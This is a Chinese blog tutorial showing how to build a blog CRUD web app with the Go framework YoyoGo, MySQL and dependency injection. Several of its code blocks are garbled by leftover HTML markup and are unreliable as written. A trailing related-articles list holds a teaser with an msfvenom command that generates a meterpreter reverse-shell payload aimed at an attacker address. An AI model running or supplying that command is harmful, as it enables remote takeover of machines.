YoyoGo是一个使用Golang编写的一个简单、轻量、快速、基于依赖注入的微服务框架,目前依然在研发阶段,欢迎Star以及一起参与到框架的研发

GitHub地址:https://github.com/yoyofx/yoyogo

例子源代码:https://github.com/yoyofxteam/YoyoBlog.git   请先下载源码,在查看指南体验更加~

本文通过一套最为基本的增删改查,来实例应该如何在最短的时间内最轻松的使用YoyoGo创建出一个自己的Web应用

本文开发环境及依赖版本:

OS: Windows10 企业版

GoLang SDK: go1.15.5 windows/amd64

IDE: GoLand 2020

YoyoGo: v1.5.8

MySQL: 5.7

MySQL_Deiver:  v1.5.0

现在开始我们的造物之旅 o(*////▽////*)q

一、安装YoyoGo


go为我们自带了包管理 go get ,会从github帮我们下载依赖,但是由于总所周知的复杂原因,我们需要为自己的本地配置一下加速

go env -w GOPROXY=https://goproxy.cn,direct

打开GoLand ->new Project -->go modules

打开命令行,输入:

go get github.com/yoyofx/yoyogo

成功的话会出现上图的结果,如果超时请检查自己是否成功的配置了加速,检查方式为:go env 查看GOPRIXY选项

二、启动Host,完成Hello World

创建main主函数在函数中输入以下golang代码

package main

import (

YoyoGo "github.com/yoyofx/yoyogo/WebFramework"

"github.com/yoyofx/yoyogo/WebFramework/Context"

"github.com/yoyofx/yoyogo/WebFramework/Router"

) func main() {

YoyoGo.CreateDefaultBuilder(func(router Router.IRouterBuilder) {

router.GET("/info",func (ctx *Context.HttpContext) {

ctx.JSON(200, Context.H{"msg": "Hello World"})

})

}).Build().Run() //默认端口号 :8080

}

启动main函数,框架打印出进程ID和监听端口号,Host启动成功

我们使用PostMan访问一下我们在上面代码中创建的路由,Host返回Hello World,到这一步恭喜你完成了自己的第一个YoyoGo的Web应用的创建~( ̄▽ ̄~)(~ ̄▽ ̄)~

当然,这么简单的功能是不能满足我们的,接下里我们要完成一个单表的增删改查来更加深入的了解YoyoGo的使用

三、编写配置文件

一个正常的Web框架是肯定需要一个配置文件来保存它的相关配置的,YoyoGo使用golang编写,我们基于云原生的基调采用了YAML文件格式座位我们的配置文件格式

首先我们在根目录下创建一个名为:config_dev.yml的文件,文件名可以随意编写,后缀标识当前环境是开发还是生产,我们在文件中输入以下配置,接下来文件中的各个配置我们都会在后面用到

yoyogo:
application:
name: Blogs #应用名
metadata: "develop" #当前env
server:
type: "fasthttp" #Server类型
address: ":8081" #监听端口
path: ""
max_request_size: 2096157 #最大请求体限制
mvc:
template: "v1/{controller}/{action}" #路由规则
database:
url: tcp(localhost:3306)/yoyoBlog?charset=utf8&parseTime=True #数据库连接字符串
username: root
password: 1234abcd

四、连接数据库

连接数据库首先要获取数据库驱动

go get github.com/go-sql-driver/mysql

然后我们要从上面的配置文件中读取出配置文件的数据库配置节点,进行连接,在YoyoGo中,读取配置文件配置使用的接口是:Abstractions.IConfiguration,通过使用Iconfiguration的get方法读取去配置文件的内容,语法为“xxx.xxx.xxx

我们通过构造函数初始化一下这个接口的实例,至于是如何实现构造函数初始化的这个是YoyoGo的依赖注入实现的,到后面我们会演示讲解

import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/yoyofx/yoyogo/Abstractions"
"strings"
) type BaseRepository struct {

config Abstractions.IConfiguration

} func NewBaseRepository(config Abstractions.IConfiguration) BaseRepository {

return &BaseRepository{config: config}

}

//初始化一个连接对象

func (baseRepository
BaseRepository) InitDBConn() *sql.DB {

url := fmt.Sprint(baseRepository.config.Get("yoyogo.database.url")) ”

username := fmt.Sprint(baseRepository.config.Get("yoyogo.database.username"))

password := fmt.Sprint(baseRepository.config.Get("yoyogo.database.password"))

var sb = strings.Builder{}

sb.WriteString(username)

sb.WriteString(":")

sb.WriteString(password)

sb.WriteString("@")

sb.WriteString(url)

connStr := sb.String()

fmt.Println(connStr)

conn, err := sql.Open("mysql", connStr)

if err != nil {

fmt.Println(err)

}

return conn

}

五、对数据库进行新增和查询

这部分代码比较枯燥,唯一需要注意的依然是通过构造函数来进行BaseRepository的注入

import (
"fmt"
"yoyoFxBlog/domain"
"yoyoFxBlog/repository/repository_impl"
) type BlogService struct {

baseRepository *repository_impl.BaseRepository

} func NewBlogService(baseRepository *repository_impl.BaseRepository) *BlogService {

return &BlogService{baseRepository: baseRepository}

} func (service *BlogService) AddLog(blog domain.Blog) domain.Blog {
conn :</span>=<span style="color: #000000;"> service.baseRepository.InitDBConn()
defer conn.Close()
stmt, err :</span>= conn.Prepare(<span style="color: #800000;">"</span><span style="color: #800000;">INSERT INTO `blog` SET title=?,introduction=?,content=?</span><span style="color: #800000;">"</span><span style="color: #000000;">)
fmt.Println(err)
res, err :</span>=<span style="color: #000000;"> stmt.Exec(blog.Title, blog.Introduction, blog.Content)
fmt.Println(err)
id, err :</span>=<span style="color: #000000;"> res.LastInsertId()
blog.Id </span>= <span style="color: #0000ff;">int</span><span style="color: #000000;">(id)
</span><span style="color: #0000ff;">return</span><span style="color: #000000;"> blog

}

func (service *BlogService) QueryBlogList(pageIndex int, pageSize int) domain.Page {

conn := service.baseRepository.InitDBConn()

defer conn.Close()

res := domain.Page{}

rows, err := conn.Query("SELECT COUNT(0) as count FROM blog ")

if err != nil {

}
</span><span style="color: #0000ff;">for</span><span style="color: #000000;"> rows.Next() {
</span><span style="color: #0000ff;">var</span> count <span style="color: #0000ff;">int</span><span style="color: #000000;">
err </span>= rows.Scan(&amp;<span style="color: #000000;">count)
res.TotalCount </span>=<span style="color: #000000;"> count
}
start :</span>= (pageIndex - <span style="color: #800080;">1</span>) *<span style="color: #000000;"> pageSize
sql :</span>= fmt.Sprintf(<span style="color: #800000;">"</span><span style="color: #800000;">SELECT *FROM `blog` ORDER BY creation_date LIMIT %d,%d</span><span style="color: #800000;">"</span><span style="color: #000000;">, start, pageSize)
rows, err </span>=<span style="color: #000000;"> conn.Query(sql)
</span><span style="color: #0000ff;">if</span> err !=<span style="color: #000000;"> nil {
fmt.Println(err)
}
blogList :</span>= make([]domain.Blog, <span style="color: #800080;">0</span><span style="color: #000000;">)
</span><span style="color: #0000ff;">for</span><span style="color: #000000;"> rows.Next() {
element :</span>=<span style="color: #000000;"> domain.Blog{}
err :</span>= rows.Scan(&amp;element.Id, &amp;element.Title, &amp;element.Introduction, &amp;element.Content, &amp;element.ViewCount, &amp;element.Author, &amp;<span style="color: #000000;">element.CreationDate)
</span><span style="color: #0000ff;">if</span> err !=<span style="color: #000000;"> nil {
</span><span style="color: #0000ff;">continue</span><span style="color: #000000;">
}
blogList </span>=<span style="color: #000000;"> append(blogList, element) }
res.Data </span>=<span style="color: #000000;"> blogList
</span><span style="color: #0000ff;">return</span><span style="color: #000000;"> res

}

六、创建控制器

 

首先我们创建一个控制器和几个接口,创建控制器要注意以下几点:

1.所有控制器必须和 Mvc.ApiController的指针进行组合

2.为了从请求中抓取参数,我们使用到了go的tag特性,获取参数的格式为 `param:"arg"`  注意参数名要用双引号包裹,切用于进行参数绑定的结构体必须和 *Mvc.Requst组合

3.接口中用于进行自动绑定的结构体必须是指针类型

4.通过控制器的名称前缀来实现HTTP请求类型的限制,例如 GETXXX即为只能使用Get请求

import (
"github.com/yoyofx/yoyogo/WebFramework/ActionResult"
"github.com/yoyofx/yoyogo/WebFramework/Mvc"
"yoyoFxBlog/domain"
"yoyoFxBlog/service"
) type BlogController struct {

Mvc.ApiController

blogService
service.BlogService

} func NewBlogController(blogService *service.BlogService) BlogController {

return &BlogController{blogService: blogService}

}

//声明用于从请求中自动绑定参数的结构体

type BlogRequest struct {

Mvc.RequestBody //必须添加标识可以自动绑定

Id int param:<span style="color: #800000;">"</span><span style="color: #800000;">id</span><span style="color: #800000;">"</span><span style="color: #000000;">

Title string param:<span style="color: #800000;">"</span><span style="color: #800000;">title</span><span style="color: #800000;">"</span> //标题

Introduction string param:<span style="color: #800000;">"</span><span style="color: #800000;">introduction</span><span style="color: #800000;">"</span> //简介

Content string param:<span style="color: #800000;">"</span><span style="color: #800000;">content</span><span style="color: #800000;">"</span> //内容

ViewCount int param:<span style="color: #800000;">"</span><span style="color: #800000;">viewCount</span><span style="color: #800000;">"</span> //浏览次数

} type PageRequest struct {

*Mvc.RequestBody

PageIndex int param:<span style="color: #800000;">"</span><span style="color: #800000;">pageIndex</span><span style="color: #800000;">"</span><span style="color: #000000;">

PageSize int param:<span style="color: #800000;">"</span><span style="color: #800000;">pageSize</span><span style="color: #800000;">"</span><span style="color: #000000;"> } ///这里注意参数必须是指针类型

func (controller *BlogController) AddBlog(blog BlogRequest) ActionResult.IActionResult {

data := controller.blogService.AddLog(domain.Blog{Id: blog.Id, Title: blog.Title, Introduction: blog.Introduction, Content: blog.Content, ViewCount: blog.ViewCount})

return ActionResult.Json{Data: data}

}

//使用GET开头限制这个接口只能使用GET请求方式

func (controller
BlogController) GetBlogList(PageRequest *PageRequest) ActionResult.IActionResult {

data := controller.blogService.QueryBlogList(PageRequest.PageIndex, PageRequest.PageSize)

return ActionResult.Json{Data: data}

} func (controller *BlogController) BlogList(PageRequest *PageRequest) ActionResult.IActionResult {

data := controller.blogService.QueryBlogList(PageRequest.PageIndex, PageRequest.PageSize)

return ActionResult.Json{Data: data}

}

七、自定义Host启动依赖注入

划重点,在这一步我们初始化了配置文件,以及控制器和通过调用我们前几步定义的构造函数来实现依赖的注入

import (
"github.com/yoyofx/yoyogo/Abstractions"
"github.com/yoyofx/yoyogo/DependencyInjection"
YoyoGo "github.com/yoyofx/yoyogo/WebFramework"
"github.com/yoyofx/yoyogo/WebFramework/Mvc"
"yoyoFxBlog/controller"
"yoyoFxBlog/repository/repository_impl"
"yoyoFxBlog/service"
)

func main() {
webHost := CreateYoyoBlogBuilder().Build()
webHost.Run()
}

func CreateYoyoBlogBuilder() *Abstractions.HostBuilder {
//读取配置文件
configuration := Abstractions.NewConfigurationBuilder().AddYamlFile("config").Build()
return YoyoGo.NewWebHostBuilder().
UseConfiguration(configuration).
Configure(func(app *YoyoGo.WebApplicationBuilder) {
//配置我们上一步写好的Controller
app.UseMvc(func(builder *Mvc.ControllerBuilder) {
builder.AddController(controller.NewBlogController)
})
}).
//配置我们之前几步中定义好的构造函数来进行注入
ConfigureServices(func(serviceCollection *DependencyInjection.ServiceCollection) {
serviceCollection.AddTransient(repository_impl.NewBaseRepository)
serviceCollection.AddTransient(service.NewBlogService)
})
}

关于IOC生命周期,我们暂时提供了单例和瞬时两种方式使用方法为:

func ConfigBusiness(serviceCollection *DependencyInjection.ServiceCollection) {

//瞬时
//直接注入一个容器
serviceCollection.AddTransient(repository_impl.NewBaseRepository)
//为注入的容器起一个名字,类似于Spring中为 Bean命名
serviceCollection.AddTransientByName("NewBaseRepository",repository_impl.NewBaseRepository)
//用接口的形式进行注入,用于一个接口多种实现的情况
serviceCollection.AddTransientByImplements(repository_impl.NewBaseRepository, new(repository.BaseRepository))

//单例
serviceCollection.AddSingleton(repository_impl.NewBaseRepository)
serviceCollection.AddSingletonByName("NewBaseRepository",repository_impl.NewBaseRepository)
serviceCollection.AddTransientByImplements(repository_impl.NewBaseRepository, new(repository.BaseRepository))

}

最后,启动项目,访问我们刚才定义的接口,如果你能看到下图结果,恭喜你,你已经陈工掌握了YoyoGo的基本入门使用!(o゜▽゜)o☆[BINGO!]

感谢一路看到这里的各位,对YoyoGo感兴趣的朋友欢迎在评论区留下宝贵的意见,欢迎帮助我们点一个星星~

YoyoGo使用指南的更多相关文章

  1. JavaScript权威指南 - 函数

    函数本身就是一段JavaScript代码,定义一次但可能被调用任意次.如果函数挂载在一个对象上,作为对象的一个属性,通常这种函数被称作对象的方法.用于初始化一个新创建的对象的函数被称作构造函数. 相对 ...

  2. UE4新手之编程指南

    虚幻引擎4为程序员提供了两套工具集,可共同使用来加速开发的工作流程. 新的游戏类.Slate和Canvas用户接口元素以及编辑器功能可以使用C++语言来编写,并且在使用Visual Studio 或 ...

  3. JavaScript权威指南 - 对象

    JavaScript对象可以看作是属性的无序集合,每个属性就是一个键值对,可增可删. JavaScript中的所有事物都是对象:字符串.数字.数组.日期,等等. JavaScript对象除了可以保持自 ...

  4. JavaScript权威指南 - 数组

    JavaScript数组是一种特殊类型的对象. JavaScript数组元素可以为任意类型,最大容纳232-1个元素. JavaScript数组是动态的,有新元素添加时,自动更新length属性. J ...

  5. const extern static 终极指南

    const extern static 终极指南 不管是从事哪种语言的开发工作,const extern static 这三个关键字的用法和原理都是我们必须明白的.本文将对此做出非常详细的讲解. co ...

  6. Atitit.研发管理软件公司的软资产列表指南

    Atitit.研发管理软件公司的软资产列表指南 1. Isv模型下的软资产1 2. 实现层面implet1 3. 规范spec层1 4. 法则定律等val层的总结2 1. Isv模型下的软资产 Sof ...

  7. HA 高可用软件系统保养指南

    又过了一年 618,六月是公司一年一度的大促月,一般提前一个月各系统就会减少需求和功能的开发,转而更多去关注系统可用性.稳定性和管控性等方面的非功能需求.大促前的准备工作一般叫作「备战」,可以把线上运 ...

  8. 第六代智能英特尔® 酷睿™ 处理器图形 API 开发人员指南

    欢迎查看第六代智能英特尔® 酷睿™ 处理器图形 API 开发人员指南,该处理器可为开发人员和最终用户提供领先的 CPU 和图形性能增强.各种新特性和功能以及显著提高的性能. 本指南旨在帮助软件开发人员 ...

  9. Visual Studio Code 配置指南

    Visual Studio Code (简称 VS Code)是由微软研发的一款免费.开源的跨平台文本(代码)编辑器.在我看来它是「一款完美的编辑器」. 本文是有关 VS Code 的特性介绍与配置指 ...

随机推荐

  1. Python列表排序方法汇总,超详细!

    1. 修改原列表,不创建新列表的排序 1 a = [3, 2, 8, 4, 6] 2 print(id(a)) # 2180873605704 3 a.sort() # 默认升序 4 print(a) ...

  2. 8.字典dict和解构-封装

    字典dict 与列表的区别:列表可以存储大量的数据类型,但是只能按照顺序存储,数据与数据之间关联性不强 字典(dict)是python中唯⼀的⼀个映射类型.他是以{ }括起来的键值对组成. 字典中的键 ...

  3. 配置PoE交换机功能

    组网图形 PoE简介 随着网络中IP电话.网络视频监控以及无线以太网应用的日益广泛,通过以太网本身提供电力支持的要求也越来越迫切.多数情况下,接入点设备需要直流供电,而接入点设备通常安装在距离地面比较 ...

  4. Boltzmann Machine 玻尔兹曼机入门

    Generative Models 生成模型帮助我们生成新的item,而不只是存储和提取之前的item.Boltzmann Machine就是Generative Models的一种. Boltzma ...

  5. impala-shell -o a.txt 查询中有中文时报错问题的处理

    当使用impala-shell -o a.txt进入impala-shell之后,查询报错: 报错情况: Query: select * from dim_sales_dept Unknown Exc ...

  6. c语言 :write与read系统调用总结

    在学习的时候总是有点迷糊于是在网上找到一些比较好的分享一下  下面举一个例子: 1 #include <stdio.h> 2 #include <unistd.h> 3 #in ...

  7. Best Time to Buy and Sell Stock I II III IV

    一.Best Time to Buy and Sell Stock I Say you have an array for which the ith element is the price of ...

  8. 《GNU_makefile》——第八章 内嵌函数

    函数可以带参数,函数的展开方式和变量展开一样,函数的返回结果替换调用函数的文本. 1.函数的调用 $(FUNCTION ARGUMENTS) 或者: ${FUNCTION ARGUMENTS} FUN ...

  9. msfvenom制作payload

    windows msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端 ...

  10. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...